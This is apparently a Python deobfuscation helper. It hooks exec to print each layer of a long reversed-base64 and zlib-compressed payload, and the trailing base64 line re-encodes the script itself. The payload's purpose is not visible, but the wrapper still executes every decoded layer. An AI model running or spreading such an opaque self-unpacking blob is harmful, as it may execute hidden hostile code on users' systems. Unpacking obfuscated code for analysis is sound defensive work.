import builtins
def printing_exec(source, *args):
if isinstance(source, bytes) and not source.startswith(b'exec('):
print(source)
orig_exec(source, *args)
orig_exec=exec
builtins.exec = printing_exec
_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));exec((_)(b'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'))
aW1wb3J0IGJ1aWx0aW5zCgpkZWYgcHJpbnRpbmdfZXhlYyhzb3VyY2UsICphcmdzKToKICAgIGlmIGlzaW5zdGFuY2Uoc291cmNlLCBieXRlcykgYW5kIG5vdCBzb3VyY2Uuc3RhcnRzd2l0aChiJ2V4ZWMoJyk6CiAgICAgICAgcHJpbnQoc291cmNlKQogICAgb3JpZ19leGVjKHNvdXJjZSwgKmFyZ3MpCm9yaWdfZXhlYz1leGVjCmJ1aWx0aW5zLmV4ZWMgPSBwcmludGluZ19leGVjCl8gPSBsYW1iZGEgX18gOiBfX2ltcG9ydF9fKCd6bGliJykuZGVjb21wcmVzcyhfX2ltcG9ydF9fKCdiYXNlNjQnKS5iNjRkZWNvZGUoX19bOjotMV0pKTtleGVjKChfKShiJ0NPdDFDOTM5OS8vUFZ2cWUyNGZqbno1YVdybC80ZmR4Z2JBUGFXM1BQS1pubGFSZFhiRlBaWnBsMTU2NSs1UDBwVktFQlZ3S29QczZYaGFXUXpLU2lJT1hJUklRZ1dhTzBkYVBiOC9Ed1hiUUMrbjQ0dGZ5K2NBUG01S3JWNkpEL3ZTUVUxNGVwUGxNYUxEMmEzbHZtRGR2dHlpanBXaEhNNXF1b3F0QllqWmd2V3h6OWFKb2xWckRDRWxBOTFUd0dVRE50d1JtWk1LSHFOL3Y4ajNsT1JQSGZhK2h1ZGIxdVAyWWdRL0pSWVdLUHJ0V2QwUk9Qc1NncFhQenRuM2lTaTlHeWU1TnZrdVhrL2ZkdThUQk13dDZodEFlTXh0WUdRbDVsZ1p5enJwdDhRdDJpSC9FcG92UmxsWEZ2Z1ByeUFseWpGOGp6K1dNTmpvY0FHR1JJckE0bmxJS1VCU0VnR2QyamVmNzB5WlpJNjNIUTR0bURFOS9tMDA3Ry9mRDlPYlFMazl0VnRITGdEb0lBcWRjcXZCQzhaU1kzeUtBZHlEaVR2c1ZobXBYRlE1NFg0a3p4UUhTK0p6UnZxZlBNVkEvY0o5YTVZS01VSFNrc0w1Z3Fob2k1bVVYWUFHSm5xcWZZbER5NlJMVlVxeHlpWWRDZDFnY00wRFpUNnllZ29HUVFuclVTU0IraVVYeDhteEpPZGJaUFJQR21KVlVWUlpJNUVoZFRvOVBhTUt6Qnlab000ZC9kMkdGZGRBOHVoNFAybzF0eU5ucnk5NW5EZWtYRjR4VklNY2EwbXlsUHZURjNYYWk2c0Z5WGpaMUE4TUpYU0FpeTdjYjJ0VlM0b2RtQ1k5ZVBhMVhxUFBZQ3lxOEFXT3o4MW1EZm43M2g4d2JSallSelB5d3M3Y1BnZm5xRVlnMUNlbGdiTkFJdnRwNHQ2MmMwRFhEbzlvRlo3akU5WlYzcnNKcTBEWXdPQWRPZ1Uxa0ZNT3paREtxMEJ6ZjE2WmxQbktYZ01EdWlDSGhNbTRPK3VFOVhQL3JDT1RDODlPOGlNMXFFeFNrMDF0N1hiMUVMVG1KaGZ3TUVCWFRXUmVQU203ZkxxMGpQaGFWZlZBU3U5VGl2TTJTSExvZWdtZVdLeTBqbTNVSjZncVB2S3p3aTJTNHQ3cUQyWUVDWVRBR1ZiRW1mb1F5Wk5ZQXJXdUwxa2VYT0Nab0w4OUk2TkthRGNxUnJHaTdDUXhFQ0RMaTdVb2ZXaFFmMjJ0bUZOb1lPMXgzekhZVzEvbzhVazJrMWZ6a2VpUUxBeVRZNXFheU5JU2lBNWhFL2xZM0l1anYxRWlLWncrMkVNRHJlckRVZDEybTVUekJaVVNjcEhSZXIybGtPM0ZEaHhQWEg5eTZOamNJNXlkNS9xZjRzc2ViK1UrWVpzdEpmQVV0NEthTHVYT2c3ZjVranExdUVCQUM0ZXdSSXN2Nk1iVUdVU2xFSEdDb1J2NWFvNysweWJCNHN3c1ZncWNqWVRWQ2I0bU45ZitNK3ovRHBYaktHN0J3UVllWXZ3WmcvSVRlZEhiREo4TmQrVW1SZHI5ZE5lblRHUEF5YUpxWWUzQTJZVTM3ZFFjb1E2c0pKWmswQjZGeTEwT2lncGliNlc0QXNITlpJenZQWDhoa0pneDhOcXh2Q25iMXlhR3Z6R3NyeFpjblFyV1QvV3pITU5yRUQwSjd4WFVQSUdMWDg5UUhBUFRTMzU0SndQRTNvRWNxTFQ3RndibFZyZW4zOFlwdXBsaVFJV0h5b2lEVURjejRVUlFYZDNFaVBHRlZJSEt2UkFlNzdqUU9QSjh2Um51V0lwTVdMcEJXSklkakY4SUFOWkZIU2RxRG9XT2Q3U0hXNjJmU1BUTFMxdk1oczYweCtDaFcyZExOcnhDV2tWT3hDZUFEYmw4a3RGckx1WWl5NzduNk1nTVUzdHIzS3lxaVBaUjVsc20wbENKYmpac0JMdC91T0dBQURCWFNUbVo4RnoxTGl2NnlDOHlEeTdEOWFLaFI5UHI3WkpobTkwbHRoZXVjVmp4SklLN2lPQm9INHFyZk1HeHg2NXhIM2dxUHJSNVJ2NHhHWnFSKzdwSVd2UnR3eTI3eXNiZHByaWxaN2tUcXZKMTV3N1RGQng0OFNrVTA4R3ZPTU1scjdSaU11WTFlVm1Ha0VNY0REMHRmVEs5Y2NYVHpMUFlQVkhyQ21qbkx5aFBLQmpJS2p3SmxCZ1lIemtpeUp0K1JUaHV4U1FuU2diQmQxTGNIaVBWemxHRUNXOWlvTC9nclppVFZJcVgrUlUrUWNkT01NZmhreW5YNERSd21JS0U3RFIwVzNUdzRXU054Q1BteXdiL3dlSFJ4K1F4RDROZFpQbWZXUlRMSmFvMjhTWk54b1hIeW1oYzlVWUM1UlRQWWNrOU51NjFmcjdMY1c1dUZ6R2xjdGV4Y0tOd0h2R0NqZE1waDZkTWVPajc5cTg4NTM2ejVLdkdONTNaT3oxamRJQ0hpbnV4aGlrckV3Yk1XUHhBZUdrRnpqWGY0V3N2MnJTdytaRW1TTGxaaElUZEtHVzZvUTlhVU8wYURNZDRKMkN2VU5DZDN5WjBWdUQycjdQazdBcjdJZTV5Qk1ueG54RXdHdXV3MGQ0V05pWVV4V3pDeTJKd1N0UU9ucjhWT3F3a3FtNFVSRWZDZGo3b0x0emVNenRJbFE5bk9uZDFHTWpla2tGMWV0enYrL25oTlZ0SUdKQ0MrcVRaUEtlTUlQb2M4WGxtTWZQM01qSWJ3VSt6eXAxdDBNd0htVXJIOThWQUpJbWczOU51Q25KRUI1TWt6ZUE5ZlZ1MjlZWDh4cFdXbEhEMEtIMm1FN2xiNTJVVlBJWVJoVkNsOEkzUnRXZ2ZrQXNPajRsQ3RJZ2w1aUNSbW5LSXFUNnhlSHNTUFlzT25INjJQalZET3ZKOHRwVGhjTlZoNy92NUJxaGt6anI0REpxYWtDV0lxUWdTK0I2ZlRMSzBvVEtDOEt6Y3FLR2Z5VTFTRjZHVHdjUWsvQ2ROeDRMRGk2MDRWbnh6STFneVNHSFZrZGp1ZzByeU5vRW44SHMyVkZmVUx5RGRjakRnQnJFV0o5V2RlakhhK3pxZkhocndqMWhIZVpwZVU1NnhuR3VWTENLUHFLR2N1Qkx6SXo2R1RTc2FUTm5NKzNrbTZrNVl2YjB2VlUyaUpoOTJ5a3NyNFllUUo2ZkZoY2VVKy81VjVoZytuQWRqNno3ZXZ3YXFxcnVlN0dwdE5ybnVxSHBBN0ViUTBJTHl6dXEwaFh3MnY2RVBLNmg3RlJXNTI2QnVNWFJ6bzIvL3VkSlN2VzJEQTBFRXR1RXJ2VUpCL1VvU2JSS2hWbm02UDNzUWpDOVI0dk9VYzJ5VFAwSTFlaGRYV1ZIWm5aaW9oa3RBall5VGZvZmdIaWdKWVlpdm1qVTE0NzJKaDlDSmhLK3NIaHd2SkFLZm9SYml4WVdTeGhJU3hVN2pQTXNKRmxXWWRJKzNFcWcwS3BYb0dNb1RHTWs5UllndWFTZDExNkM3V0JPVDF6ZHdWV2ZGRUdrNHFUL0ZCZjVTMFJXcVpJNTFVdU1CZGt2VnhSMW5ZVnZxYW5GMDFMTHd6OXNZTHNDTEdVaGtETXN6aE04Tmc4U2NFSVJTZXk1TzhjVTRPdjlyY25VbktxZzA3dTA5dFA3VGJFZVpoTURTOVl1YXhwaFRpUDEyTDl0QXMrU0VSbmVhK25BU1h5eEtCNlgxRm1TV0JpSXlLbmg2ZUdCbnFWbDRvVmRKWUVkbXB1N1NGY2RvRVFhVkJKTzBuT1Jmb0x3UGRvNHFBL0hrRnY4UU1vTFBqVGUzMVpZTEpzNFhGZG9Edkd6YXpucTh3TCthTzBUbGc1akZkS1FocmZRL2hTUGRhVDhxZVVabnFUTS9QblBmenFSeTJqUmIvZVMrS1A1R2JZT21lYXovdW40bWV4ZGRGZXhEcXpZRklweC9CK3VINnJsVWNNYUY5Z3VRc1ZkOTJCVC95dzdpdzRDK0tOQ0Z4bEFxUmROVDBhMXBvWlRQeWp6VUNQbGM2R2JWay9sUzVHVVRxUmVEUkRWbW5jTjBSYjVCb0FRRU5JMWtnWSs4dVZYdGpLbnRkOG5qZ0FYbnNIcnBwbE51SUQvMWZyN3psdGFzdCtCNURHZWIycjJiU1NoNXB5Y21iaytGZFlXOU1ZazdtTWVRQm5yTEJXQlJLdFIxd0owS0VJRytDSi9iZnh4VEEwT01Yb1JRZ2QraXVnUzJudjA4dStoT0IzY01aZVp1WnBQL3lKdGpFc0RITzQ3VTRNd2hCc2NnTGgvaHNBYmxnL0M2MDdMMVZxSWsyRmo2bm5jR0k0VlFKSU5QUHpxRmRRVzdtNzVmNUtWRFpzZzdFS3JETHlvdDRSSzc2ckRmU01SVFM4S1o3MGtQcDJSRFoycWlwZXc0ckIzY2V0TFdKcFhzOW9DT0lRR0ZHM2Z3TkFkK2RHczAyZjVOQWpMOFVlK0RYbGovMVdwRjc1bE9ENERqYSthdjg5WXdLMFZnUnYrSE1zeUNFRlEyU0pseGd4UHBoSkwzeDQweWZKK2tjdGM2djNkVzJ0WkRBa2hXMjhSYXNGM1NqcmtyejFvVVpEQnQ1SERrQjFSbDRLVTFVTDBZODlMMzU0T0pBdUF4SFpLQy96R1YrYnpiWnc4MUI2Y2ZCWFA4NXlzdExJazV2UnIvVUgyaVJZL1BlS2t1eG9BcmxzS3pxRWxjdUtGNk5TdmFZWlpSK0E5VHBWN0VicVhIOUZwQ0tmcG8vR0Zib2VCL0NQcnBGUWFZMkFTQnhKKzRpMS9tMjUzWGtMcmNkenIwc283Q2xmQWZRZFl3YnFEN3dlTVl3UGtFcWZnK3ZLYWw5Ukl3YUVlZXNCalFoVjNRMWxBMG5xaG4zTnN3M01OL01IUWl4Y1VMclNrRUpBRUFJaDY1ZnovM3Z2Ny8vL1dNVjFUbVRuSVZwcUE0dC9YdHhyWmVaeXYzTXpNRVRBTGYzVGZKUlNnY3h1V2tsTndKZScpKQ==